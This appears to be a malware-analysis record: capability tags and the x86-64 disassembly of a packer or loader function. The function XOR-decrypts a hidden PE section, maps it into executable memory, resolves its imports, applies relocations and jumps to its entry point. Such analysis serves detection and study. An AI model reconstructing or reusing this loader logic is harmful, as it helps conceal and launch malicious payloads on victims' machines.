Function at 0x140002770
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
call fcn.1400015f0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r13, rax
movsxd rax, dword [rax + 0x3c]
add rax, r13
movzx edx, word [rax + 6]
movzx ecx, word [rax + 0x14]
test dx, dx
je 0x140002958
sub edx, 1
lea rsi, [rax + rcx + 0x18]
lea rax, [rax + rcx + 0x40]
lea rdx, [rdx + rdx*4]
lea rdi, str..ndobj2
lea rbp, [rax + rdx*8]
jmp 0x1400027dd
add rsi, 0x28
cmp rbp, rsi
je 0x140002958
mov rdx, rdi
mov rcx, rsi
call sub.msvcrt.dll_strcmp
mov ebx, eax
test eax, eax
jne 0x1400027d0
mov eax, dword [rsi + 0x10]
mov r14d, dword [rsi + 0xc]
lea edi, [rax - 0x800]
mov rcx, rdi
call sub.msvcrt.dll_malloc
lea rcx, [r13 + r14]
mov r12, rax
xor eax, eax
test edi, edi
je 0x140002839
nop dword [rax]
mov rdx, rax
and edx, 0x7ff
movzx edx, byte [rcx + rdx]
xor dl, byte [rcx + rax + 0x800]
mov byte [r12 + rax], dl
add rax, 1
cmp rdi, rax
jne 0x140002818
movsxd rdi, dword [r12 + 0x3c]
mov r9d, 0x40
mov r8d, 0x3000
xor ecx, ecx
add rdi, r12
movzx r13d, word [rdi + 0x14]
mov edx, dword [rdi + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbp, rax
test rax, rax
je 0x140002958
mov r8d, dword [rsi + 0x10]
mov rdx, r12
mov rcx, rax
call sub.msvcrt.dll_memcpy
movzx edx, word [rdi + 6]
test dx, dx
je 0x1400028cc
movzx eax, r13w
lea r13d, [rdx - 1]
imul r13, r13, 0x28
lea rsi, [rdi + rax]
lea rax, [rdi + rax + 0x28]
add r13, rax
jmp 0x1400028a9
add rsi, 0x28
cmp r13, rsi
je 0x1400028cc
mov r8d, dword [rsi + 0x28]
test r8d, r8d
je 0x1400028a0
mov ecx, dword [rsi + 0x24]
mov edx, dword [rsi + 0x2c]
add rsi, 0x28
add rcx, rbp
add rdx, r12
call sub.msvcrt.dll_memcpy
cmp r13, rsi
jne 0x1400028a9
mov r12d, dword [rdi + 0x90]
test r12d, r12d
je 0x140002970
mov r13, qword [sym.imp.KERNEL32.dll_GetProcAddress]
add r12, rbp
cmp dword [r12], 0
je 0x140002970
mov ecx, dword [r12 + 0xc]
add rcx, rbp
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x140002958
mov r15d, dword [r12]
mov r8d, dword [r12 + 0x10]
add r15, rbp
lea r14, [rbp + r8]
mov rax, qword [r15]
test rax, rax
jne 0x14000293f
jmp 0x1400029ee
add r15, 8
mov qword [r14], rax
add r14, 8
mov rax, qword [r15]
test rax, rax
je 0x1400029ee
mov eax, eax
mov rcx, rsi
lea rdx, [rbp + rax + 2]
call r13
test rax, rax
jne 0x140002928
nop dword [rax]
mov ebx, 1
mov eax, ebx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
test byte [rdi + 0x5e], 0x40
je 0x140002958
mov eax, dword [rdi + 0xb0]
test eax, eax
je 0x140002958
lea r10, [rbp + rax]
mov rsi, rbp
sub rsi, qword [rdi + 0x30]
mov r9d, dword [r10]
test r9d, r9d
je 0x1400029e1
nop dword [rax]
mov r11d, dword [r10 + 4]
lea rax, [r11 - 8]
shr rax, 1
mov rdx, rax
lea rax, [r10 + 8]
lea r8, [rax + rdx*2]
je 0x1400029d6
movzx edx, word [rax]
mov ecx, edx
shr cx, 0xc
cmp cx, 0xa
jne 0x1400029cd
and edx, 0xfff
add rdx, r9
add qword [rbp + rdx], rsi
add rax, 2
cmp r8, rax
jne 0x1400029b0
add r10, r11
mov r9d, dword [r10]
test r9d, r9d
jne 0x140002998
mov eax, dword [rdi + 0x28]
add rax, rbp
call rax
jmp 0x14000295d
add r12, 0x14
jmp 0x1400028e6